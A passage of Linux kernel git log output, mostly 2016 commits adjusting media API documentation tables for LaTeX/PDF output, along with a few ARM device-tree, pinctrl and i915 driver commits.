Carvalho Chehab Documentation/media/uapi/v4l/diff-v4l.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 2ec708745f2ae981297b07d8f1cb1ce87010d6d6 Author: Mauro Carvalho Chehab Date: Thu Aug 18 10:39:06 2016 -0300 [media] subdev-formats.rst: adjust most of the tables to fill in page Fix mosto fo the tables there in order to make them fit at the page size. There are, however, two exceptions: RGB and YUV big tables, where adding the raw latex adjustbox caused the tables to not be properly formatted. I suspect that the problem is because those are long tables, but not really sure. The thing is that Sphinx lacks an "adjustbox" tag that would avoid the raw latex hacks. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/subdev-formats.rst | 5575 ++++++++++++----------- 1 file changed, 2806 insertions(+), 2769 deletions(-) commit 3772b56a05690a66a018d22f9331cb5370572965 Author: Mauro Carvalho Chehab Date: Thu Aug 18 09:04:57 2016 -0300 [media] dev-subdev.rst: make table fully visible on LaTeX The table there is too big and doesn't have format hints for LaTeX output. Fix it. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/dev-subdev.rst | 9 +++++++++ 1 file changed, 9 insertions(+) commit 352ca7e7f81a1021c2682990f52019d1f2e8583b Author: Mauro Carvalho Chehab Date: Thu Aug 18 08:16:26 2016 -0300 [media] dev-rds.rst: adjust table dimentions for LaTeX One of the tables has wrong column dimentions. Fix it. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/dev-rds.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0101036c7b4d5fc3b7f268312f49378c2db1777d Author: Mauro Carvalho Chehab Date: Thu Aug 18 07:38:53 2016 -0300 [media] dev-sliced-vbi.rst: Adjust tables on LaTeX output Better format the tables in a way that will fit inside the page. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/dev-sliced-vbi.rst | 34 +++++++++++++++++-------- 1 file changed, 24 insertions(+), 10 deletions(-) commit 23c751f03631fea964d9f00df7562571635a5001 Author: Mauro Carvalho Chehab Date: Thu Aug 18 07:37:49 2016 -0300 [media] dev-sliced-vbi.rst: use a footnote for VBI images Just like on dvb-raw-vbi.rst, the LaTeX output doesn't work well with cell spans. Also, this is actually a note, so, move it to a footnote. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/dev-sliced-vbi.rst | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 605c6065363d3ee9e44594f2ba0998bf9f8a5fa5 Author: Mauro Carvalho Chehab Date: Thu Aug 18 07:18:48 2016 -0300 [media] docs-rst: re-generate vbi_525.pdf and vbi_625.pdf Originally, each image were one page big, causing them to be displayed on separate pages at the PDF output. Re-generate them from the gif files. Signed-off-by: Mauro Carvalho Chehab .../media/uapi/v4l/dev-raw-vbi_files/vbi_525.pdf | Bin 3395 -> 3706 bytes .../media/uapi/v4l/dev-raw-vbi_files/vbi_625.pdf | Bin 3683 -> 3996 bytes 2 files changed, 0 insertions(+), 0 deletions(-) commit 6138e3032184613efbd90245cc9806a13c28e72d Author: Mauro Carvalho Chehab Date: Thu Aug 18 07:06:18 2016 -0300 [media] dev-raw-vbi.rst: adjust table columns for LaTeX output Add the needed tags to fix LaTeX output of the tables there. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/dev-raw-vbi.rst | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 0522322ce23bf7bbebc2fcce8d25e260f5e74d93 Author: Mauro Carvalho Chehab Date: Thu Aug 18 07:06:11 2016 -0300 [media] dev-raw-vbi.rst: add a footnote for the count limits There's a bug with LaTeX output on flat-tables with Sphinx 1.4.5 that prevents references at a cell span to be broken. As the text is indeed too long, it makes sense to place the reference to the pictures showing the VBI limits as a footnote. That makes the text easier to read and also solves the issue with LaTeX output. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/dev-raw-vbi.rst | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 0fb29313f329bf7cb01fbd9241cf8fd04c00dbf5 Author: Mauro Carvalho Chehab Date: Wed Aug 17 20:38:52 2016 -0300 [media] dev-overlay.rst: don't ident a note There's one note there that it is indented for no good reason. Fix it. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/dev-overlay.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 3d3f05e643dbe79c996803fff8de97cb7209d057 Author: Maxime Ripard Date: Sat Feb 27 15:56:21 2016 -0800 ARM: sun5i: chip: Add status LED The CHIP has a status LED connected to one of the AXP GPIOs. Add the gpio-leds node to be able to use the proper LED framework to control it. Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun5i-r8-chip.dts | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 614a749a1050fc87bad09ac5d155f269ed66aa80 Author: Maxime Ripard Date: Sat Feb 27 15:55:29 2016 -0800 ARM: dt: axp209: Add AXP209 GPIO driver Add the AXP209 GPIO node to our AXP209 DTSI so that boards can use it. Signed-off-by: Maxime Ripard Acked-by: Linus Walleij arch/arm/boot/dts/axp209.dtsi | 6 ++++++ 1 file changed, 6 insertions(+) commit 8b5efbeb9702f8e4a913a7effac20239d1a168c2 Author: Mauro Carvalho Chehab Date: Wed Aug 17 20:35:20 2016 -0300 [media] buffer.rst: Adjust table columns for LaTeX output The table columns are not properly displayed. Also, some tables are too big to fit into just one page. So, fix them, in order to better display the tables. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/buffer.rst | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) commit 4810923765b868bd50730ed340538107d563832a Author: Mauro Carvalho Chehab Date: Wed Aug 17 13:26:23 2016 -0300 [media] docs-rst: remove width hints from pixfmt byte order tables Those hints are wrong, and doesn't really improve the look of those tables. So, keep them only when they're useful. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-grey.rst | 7 ------- Documentation/media/uapi/v4l/pixfmt-m420.rst | 6 ------ Documentation/media/uapi/v4l/pixfmt-nv12.rst | 6 ------ Documentation/media/uapi/v4l/pixfmt-nv12m.rst | 5 ----- Documentation/media/uapi/v4l/pixfmt-nv12mt.rst | 2 -- Documentation/media/uapi/v4l/pixfmt-nv16.rst | 7 ------- Documentation/media/uapi/v4l/pixfmt-nv16m.rst | 7 ------- Documentation/media/uapi/v4l/pixfmt-nv24.rst | 7 ------- Documentation/media/uapi/v4l/pixfmt-sbggr16.rst | 8 -------- Documentation/media/uapi/v4l/pixfmt-sbggr8.rst | 6 ------ Documentation/media/uapi/v4l/pixfmt-sdr-cs08.rst | 7 ------- Documentation/media/uapi/v4l/pixfmt-sdr-cs14le.rst | 7 ------- Documentation/media/uapi/v4l/pixfmt-sdr-cu08.rst | 8 -------- Documentation/media/uapi/v4l/pixfmt-sdr-cu16le.rst | 6 ------ Documentation/media/uapi/v4l/pixfmt-sdr-ru12le.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-sgbrg8.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-sgrbg8.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-srggb10.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-srggb10alaw8.rst | 2 -- Documentation/media/uapi/v4l/pixfmt-srggb10p.rst | 12 ++++++++---- Documentation/media/uapi/v4l/pixfmt-srggb12.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-srggb8.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-uv8.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-uyvy.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-vyuy.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-y10.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-y10b.rst | 8 -------- Documentation/media/uapi/v4l/pixfmt-y12.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-y12i.rst | 5 ----- Documentation/media/uapi/v4l/pixfmt-y16-be.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-y16.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-y41p.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-y8i.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-yuv410.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-yuv411p.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-yuv420.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-yuv420m.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-yuv422m.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-yuv422p.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-yuv444m.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-yuyv.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-yvyu.rst | 3 --- Documentation/media/uapi/v4l/pixfmt-z16.rst | 3 --- 43 files changed, 8 insertions(+), 183 deletions(-) commit 1c3fd7e7af7a28e79316a44b7c837b30ef4f00bb Author: Mauro Carvalho Chehab Date: Wed Aug 17 15:37:48 2016 -0300 [media] pixfmt-packed-yuv.rst: adjust tables to fit in LaTeX Adjust the table to fit at the LaTeX and PDF outputs, just like what was done with pixfmt-packed-rgb.rst. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-packed-yuv.rst | 26 ++++++++++++++-------- 1 file changed, 17 insertions(+), 9 deletions(-) commit b315a63bf598e844e989498c3c5a2912877cc3a1 Author: Mauro Carvalho Chehab Date: Wed Aug 17 12:02:12 2016 -0300 [media] pixfmt-packed-rgb.rst: adjust tables to fit in LaTeX Adjust the tables to fit at the LaTeX and PDF outputs. I wrote a previous patch RFC to show the big table in landscape, but it makes harder to read on displays. So, instead, let's use the adjustbox to shrink the size of those long tables, as the table size can still be visible on screen, and it is a way better to read in horizontal position and visible if printed. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-packed-rgb.rst | 37 ++++++++++++++++------ 1 file changed, 28 insertions(+), 9 deletions(-) commit fdb45d73ea442d8cc3f2dcfec12a0f2bc39cbaf0 Author: Mauro Carvalho Chehab Date: Wed Aug 17 11:57:12 2016 -0300 [media] pixfmt-packed-rgb.rst: Fix cell spans There is an extra column just before eack pack of bits, to improve table reading, but the header file didn't take this into account. Fix it. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-packed-rgb.rst | 78 ++++++++++++---------- 1 file changed, 42 insertions(+), 36 deletions(-) commit 83eaeb85a5f6637986058487dadc94e3cfaa0057 Author: Mauro Carvalho Chehab Date: Wed Aug 17 11:47:21 2016 -0300 [media] docs-rst: add column hints for pixfmt-002 and pixfmt-006 Add column hints for LaTeX to format columns on the tables inside pixfmt-002.rst and pixfmt-006.rst. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-002.rst | 4 +++- Documentation/media/uapi/v4l/pixfmt-006.rst | 5 +++++ 2 files changed, 8 insertions(+), 1 deletion(-) commit 1300c9308980cec492f1019341ece0f41c19860e Author: Mauro Carvalho Chehab Date: Wed Aug 17 11:27:22 2016 -0300 [media] extended-controls.rst: fix table sizes Lots of tables at extended-controls.rst need explicit hints for LaTeX to adjust their widths. Provide that. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/extended-controls.rst | 63 ++++++++++++---------- 1 file changed, 36 insertions(+), 27 deletions(-) commit ca10257487779d938da54b3045f521c54dc732e9 Author: Mauro Carvalho Chehab Date: Wed Aug 17 08:58:00 2016 -0300 [media] control.rst: Fix table width Manually adjust the table width for it to look nice on PDF output. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/control.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 5bd4bb7817093e9e3fe2671832de3486cb58b28b Author: Mauro Carvalho Chehab Date: Wed Aug 17 08:14:19 2016 -0300 [media] docs-rst: add tabularcolumns to all tables LaTeX doesn't handle too well auto-width on tables, and ReST markup requires an special tag to give it the needed hints. As we're using A4 paper, we have 17cm of useful spaces. As most media tables have widths, let's use it to generate the needed via the following perl script: my ($line_size, $table_header, $has_cols) = (17.5, 0, 0); my $out; my $header = ""; my @widths = (); sub round { $_[0] > 0 ? int($_[0] + .5) : -int(-$_[0] + .5) } while (<>) { if (!$table_header) { $has_cols = 1 if (m/..\s+tabularcolumns::/); if (m/..\s+flat-table::/) { $table_header = 1; $header = $_; next; } $out .= $_; next; } $header .= $_; @widths = split(/ /, $1) if (m/:widths:\s+(.*)/); if (m/^\n$/) { if (!$has_cols && @widths) { my ($tot, $t, $i) = (0, 0, 0); foreach my $v(@widths) { $tot += $v; }; $out .= ".. tabularcolumns:: |"; for ($i = 0; $i < scalar @widths - 1; $i++) { my $v = $widths[$i]; my $w = round(10 * ($v * $line_size) / $tot) / 10; $out .= sprintf "p{%.1fcm}|", $w; $t += $w; } my $w = $line_size - $t; $out .= sprintf "p{%.1fcm}|\n\n", $w; } $out .= $header; $table_header = 0; $has_cols = 0; $header = ""; @widths = (); } } print $out; Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/cec/cec-ioc-adap-g-caps.rst | 4 ++++ .../media/uapi/cec/cec-ioc-adap-g-log-addrs.rst | 10 ++++++++++ Documentation/media/uapi/cec/cec-ioc-dqevent.rst | 10 ++++++++++ Documentation/media/uapi/cec/cec-ioc-g-mode.rst | 6 ++++++ Documentation/media/uapi/cec/cec-ioc-receive.rst | 6 ++++++ .../media/uapi/dvb/fe-diseqc-recv-slave-reply.rst | 2 ++ .../media/uapi/dvb/fe-diseqc-send-master-cmd.rst | 2 ++ Documentation/media/uapi/dvb/fe-get-info.rst | 2 ++ Documentation/media/uapi/dvb/fe-type-t.rst | 2 ++ Documentation/media/uapi/gen-errors.rst | 2 ++ .../media/uapi/mediactl/media-ioc-device-info.rst | 2 ++ .../media/uapi/mediactl/media-ioc-enum-entities.rst | 2 ++ .../media/uapi/mediactl/media-ioc-enum-links.rst | 6 ++++++ .../media/uapi/mediactl/media-ioc-g-topology.rst | 12 ++++++++++++ Documentation/media/uapi/rc/rc-tables.rst | 2 ++ Documentation/media/uapi/v4l/buffer.rst | 16 ++++++++++++++++ Documentation/media/uapi/v4l/dev-raw-vbi.rst | 4 ++++ Documentation/media/uapi/v4l/dev-rds.rst | 6 ++++++ Documentation/media/uapi/v4l/dev-sdr.rst | 2 ++ Documentation/media/uapi/v4l/dev-sliced-vbi.rst | 18 ++++++++++++++++++ Documentation/media/uapi/v4l/field-order.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-002.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-003.rst | 4 ++++ Documentation/media/uapi/v4l/pixfmt-007.rst | 18 ++++++++++++++++++ Documentation/media/uapi/v4l/pixfmt-013.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-grey.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-m420.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-nv12.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-nv12m.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-nv16.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-nv16m.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-nv24.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-packed-rgb.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-reserved.rst | 4 ++++ Documentation/media/uapi/v4l/pixfmt-sbggr16.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-sbggr8.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-sdr-cs08.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-sdr-cs14le.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-sdr-cu08.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-sdr-cu16le.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-sdr-ru12le.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-sgbrg8.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-sgrbg8.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-srggb10.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-srggb10p.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-srggb12.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-srggb8.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-uv8.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-uyvy.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-vyuy.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-y10.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-y10b.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-y12.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-y12i.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-y16-be.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-y16.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-y41p.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-y8i.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-yuv410.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-yuv411p.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-yuv420.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-yuv420m.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-yuv422m.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-yuv422p.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-yuv444m.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-yuyv.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-yvyu.rst | 2 ++ Documentation/media/uapi/v4l/pixfmt-z16.rst | 2 ++ Documentation/media/uapi/v4l/subdev-formats.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-create-bufs.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-cropcap.rst | 4 ++++ .../media/uapi/v4l/vidioc-dbg-g-chip-info.rst | 6 ++++++ Documentation/media/uapi/v4l/vidioc-dbg-g-register.rst | 4 ++++ Documentation/media/uapi/v4l/vidioc-decoder-cmd.rst | 4 ++++ Documentation/media/uapi/v4l/vidioc-dqevent.rst | 18 ++++++++++++++++++ Documentation/media/uapi/v4l/vidioc-dv-timings-cap.rst | 4 ++++ Documentation/media/uapi/v4l/vidioc-encoder-cmd.rst | 6 ++++++ .../media/uapi/v4l/vidioc-enum-dv-timings.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 4 ++++ .../media/uapi/v4l/vidioc-enum-frameintervals.rst | 4 ++++ .../media/uapi/v4l/vidioc-enum-framesizes.rst | 6 ++++++ .../media/uapi/v4l/vidioc-enum-freq-bands.rst | 4 ++++ Documentation/media/uapi/v4l/vidioc-enuminput.rst | 6 ++++++ Documentation/media/uapi/v4l/vidioc-enumoutput.rst | 6 ++++++ Documentation/media/uapi/v4l/vidioc-enumstd.rst | 6 ++++++ Documentation/media/uapi/v4l/vidioc-expbuf.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-g-audio.rst | 6 ++++++ Documentation/media/uapi/v4l/vidioc-g-audioout.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-g-crop.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-g-ctrl.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-g-dv-timings.rst | 6 ++++++ Documentation/media/uapi/v4l/vidioc-g-edid.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-g-enc-index.rst | 6 ++++++ Documentation/media/uapi/v4l/vidioc-g-ext-ctrls.rst | 6 ++++++ Documentation/media/uapi/v4l/vidioc-g-fbuf.rst | 6 ++++++ Documentation/media/uapi/v4l/vidioc-g-frequency.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-g-jpegcomp.rst | 4 ++++ Documentation/media/uapi/v4l/vidioc-g-modulator.rst | 4 ++++ Documentation/media/uapi/v4l/vidioc-g-parm.rst | 10 ++++++++++ Documentation/media/uapi/v4l/vidioc-g-priority.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-g-selection.rst | 2 ++ .../media/uapi/v4l/vidioc-g-sliced-vbi-cap.rst | 4 ++++ Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 8 ++++++++ Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 10 ++++++++++ Documentation/media/uapi/v4l/vidioc-reqbufs.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-s-hw-freq-seek.rst | 2 ++ .../uapi/v4l/vidioc-subdev-enum-frame-interval.rst | 2 ++ .../media/uapi/v4l/vidioc-subdev-enum-frame-size.rst | 2 ++ .../media/uapi/v4l/vidioc-subdev-enum-mbus-code.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-subdev-g-crop.rst | 2 ++ Documentation/media/uapi/v4l/vidioc-subdev-g-fmt.rst | 4 ++++ .../media/uapi/v4l/vidioc-subdev-g-frame-interval.rst | 2 ++ .../media/uapi/v4l/vidioc-subdev-g-selection.rst | 2 ++ .../media/uapi/v4l/vidioc-subscribe-event.rst | 4 ++++ 114 files changed, 430 insertions(+) commit 1d80b03e52fe54c46ccfe59c107c92f0e52129ff Author: Mauro Carvalho Chehab Date: Wed Aug 17 07:21:15 2016 -0300 [media] docs-rst: re-generate typical_media_device.pdf There are some texts there on the wrong place. Re-generate it from the svg file. Signed-off-by: Mauro Carvalho Chehab .../media/media_api_files/typical_media_device.pdf | Bin 134268 -> 52895 bytes 1 file changed, 0 insertions(+), 0 deletions(-) commit 48f6993793a0cf75db4b8c6e2f060629ab8ada54 Author: Mauro Carvalho Chehab Date: Tue Aug 16 12:07:10 2016 -0300 [media] vidioc-querycap.rst: Better format tables on PDF output Both tables on this rst file were not shown right, as they miss the proper tag (tabularcolumns) to specify the column widths required for PDF and LaTeX output. Also, the second table is too big to fit into one page. So, it should use the longtable class to allow it to be split into two pages. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-querycap.rst | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit 806da2986f08756c8ee8831e39237dddc96afc38 Author: Mauro Carvalho Chehab Date: Mon Aug 15 17:52:13 2016 -0300 [media] docs-rst: get rid of code-block inside tables There are two tables with a C code-block inside it. Unfortunately, that causes LaTeX output to break. Yet, there's nothing special there, so let's remove the code-block from them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 5 +---- Documentation/media/uapi/v4l/vidioc-querycap.rst | 12 +++--------- 2 files changed, 4 insertions(+), 13 deletions(-) commit b6b6e67824ec0593878afbee5958d80205606210 Author: Mauro Carvalho Chehab Date: Mon Aug 15 17:49:50 2016 -0300 [media] docs-rst: better use the .. note:: tag Change multi-line note tags to be more symetric, e. g. not starting the text together witht the tag. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/cec/cec-func-close.rst | 4 +++- Documentation/media/uapi/cec/cec-func-ioctl.rst | 4 +++- Documentation/media/uapi/cec/cec-func-open.rst | 4 +++- Documentation/media/uapi/cec/cec-func-poll.rst | 4 +++- Documentation/media/uapi/cec/cec-intro.rst | 4 +++- Documentation/media/uapi/cec/cec-ioc-adap-g-caps.rst | 4 +++- .../media/uapi/cec/cec-ioc-adap-g-log-addrs.rst | 4 +++- .../media/uapi/cec/cec-ioc-adap-g-phys-addr.rst | 4 +++- Documentation/media/uapi/cec/cec-ioc-dqevent.rst | 4 +++- Documentation/media/uapi/cec/cec-ioc-g-mode.rst | 4 +++- Documentation/media/uapi/cec/cec-ioc-receive.rst | 4 +++- Documentation/media/uapi/dvb/dvb-fe-read-status.rst | 4 +++- Documentation/media/uapi/dvb/dvbapi.rst | 4 +++- Documentation/media/uapi/dvb/dvbproperty.rst | 4 +++- Documentation/media/uapi/dvb/examples.rst | 4 +++- Documentation/media/uapi/dvb/fe-get-info.rst | 4 +++- Documentation/media/uapi/dvb/fe-read-status.rst | 4 +++- Documentation/media/uapi/dvb/frontend.rst | 4 +++- .../media/uapi/rc/lirc-set-wideband-receiver.rst | 4 +++- Documentation/media/uapi/v4l/audio.rst | 4 +++- Documentation/media/uapi/v4l/buffer.rst | 13 ++++++++++--- Documentation/media/uapi/v4l/crop.rst | 12 +++++++++--- Documentation/media/uapi/v4l/dev-codec.rst | 4 +++- Documentation/media/uapi/v4l/dev-osd.rst | 4 +++- Documentation/media/uapi/v4l/dev-overlay.rst | 8 ++++++-- Documentation/media/uapi/v4l/dev-rds.rst | 4 +++- Documentation/media/uapi/v4l/extended-controls.rst | 4 +++- Documentation/media/uapi/v4l/func-mmap.rst | 4 +++- Documentation/media/uapi/v4l/pixfmt-006.rst | 4 +++- Documentation/media/uapi/v4l/pixfmt-007.rst | 12 +++++++++--- Documentation/media/uapi/v4l/pixfmt-sbggr16.rst | 4 +++- Documentation/media/uapi/v4l/pixfmt-y16-be.rst | 4 +++- Documentation/media/uapi/v4l/pixfmt-y16.rst | 4 +++- Documentation/media/uapi/v4l/standard.rst | 4 +++- Documentation/media/uapi/v4l/tuner.rst | 4 +++- Documentation/media/uapi/v4l/userp.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-dv-timings-cap.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-enum-dv-timings.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 9 ++++++--- .../media/uapi/v4l/vidioc-enum-frameintervals.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-enum-framesizes.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-enum-freq-bands.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-enumaudioout.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-g-audioout.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-g-edid.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-g-ext-ctrls.rst | 8 ++++++-- Documentation/media/uapi/v4l/vidioc-g-modulator.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-g-sliced-vbi-cap.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 8 ++++++-- Documentation/media/uapi/v4l/vidioc-qbuf.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-query-dv-timings.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 16 ++++++++++++---- Documentation/media/uapi/v4l/vidioc-querystd.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-streamon.rst | 4 +++- Documentation/media/uapi/v4l/vidioc-subscribe-event.rst | 4 +++- Documentation/media/v4l-drivers/bttv.rst | 1 + 56 files changed, 206 insertions(+), 69 deletions(-) commit 187594418d37b29d02a22f5d15db51ea4df70957 Author: Mauro Carvalho Chehab Date: Mon Aug 15 13:37:54 2016 -0300 [media] vidioc-enumstd.rst: remove bullets from sound carrier The items at the sound carrier had a bullet. Those are not needed. So, get rid of them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-enumstd.rst | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) commit edec4f446d1c31484802f9e15fbbfd39c3130aff Author: Mauro Carvalho Chehab Date: Mon Aug 15 13:05:05 2016 -0300 [media] vidioc-enumstd.rst: fix a broken reference Somehow, the conversion broke a reference here. Re-add it. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-enumstd.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1bf0907b59ad02ea1b547609e6c0ece5f71e356a Author: Mauro Carvalho Chehab Date: Mon Aug 15 11:01:30 2016 -0300 [media] pixfmt-nv12mt.rst: use PNG instead of GIF pdflatex doesn't like gif images: None:None: WARNING: no matching candidate for image URI u'media/uapi/v4l/pixfmt-nv12mt_files/nv12mt.*' None:None: WARNING: no matching candidate for image URI u'media/uapi/v4l/pixfmt-nv12mt_files/nv12mt_example.*' But it works fine with png. So, convert them. As a plus, PNG images are smaller. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-nv12mt.rst | 4 ++-- .../media/uapi/v4l/pixfmt-nv12mt_files/nv12mt.gif | Bin 2108 -> 0 bytes .../media/uapi/v4l/pixfmt-nv12mt_files/nv12mt.png | Bin 0 -> 1920 bytes .../uapi/v4l/pixfmt-nv12mt_files/nv12mt_example.gif | Bin 6858 -> 0 bytes .../uapi/v4l/pixfmt-nv12mt_files/nv12mt_example.png | Bin 0 -> 5261 bytes 5 files changed, 2 insertions(+), 2 deletions(-) commit a1edf87f217322d988a9c4aca5883b052f114c0d Author: LABBE Corentin Date: Tue Aug 16 10:36:53 2016 +0200 pinctrl: palmas: fix a possible NULL dereference of_match_device could return NULL, and so cause a NULL pointer dereference later at line 1009: pinctrl_data = match->data; For fixing this problem, we use of_device_get_match_data(), this will simplify the code a little by using a standard function for getting the match data. Reported-by: coverity (CID 1324136) Signed-off-by: LABBE Corentin Signed-off-by: Linus Walleij drivers/pinctrl/pinctrl-palmas.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 34730fed9fd54e893ec0177c97a509de3ee0a5a4 Author: Chris Wilson Date: Sat Aug 20 15:54:08 2016 +0100 drm/i915: Ignore stuck requests when considering hangs If the engine isn't being retired (worker starvation?) then it is possible for us to repeatedly observe that between consecutive hangchecks the seqno on the ring to be the same and there remain unretired requests. Ignore these completely and only regard the engine as busy for the purpose of hang detection (not stall detection) if there are outstanding breadcrumbs. In recent history we have looked at using both the request and seqno as indication of activity on the engine, but that was reduced to just inspecting seqno in commit cffa781e5907 ("drm/i915: Simplify check for idleness in hangcheck"). However, in commit dcff85c8443e ("drm/i915: Enable i915_gem_wait_for_idle() without holding struct_mutex"), I made the decision to use the new common lockless function, under the assumption that 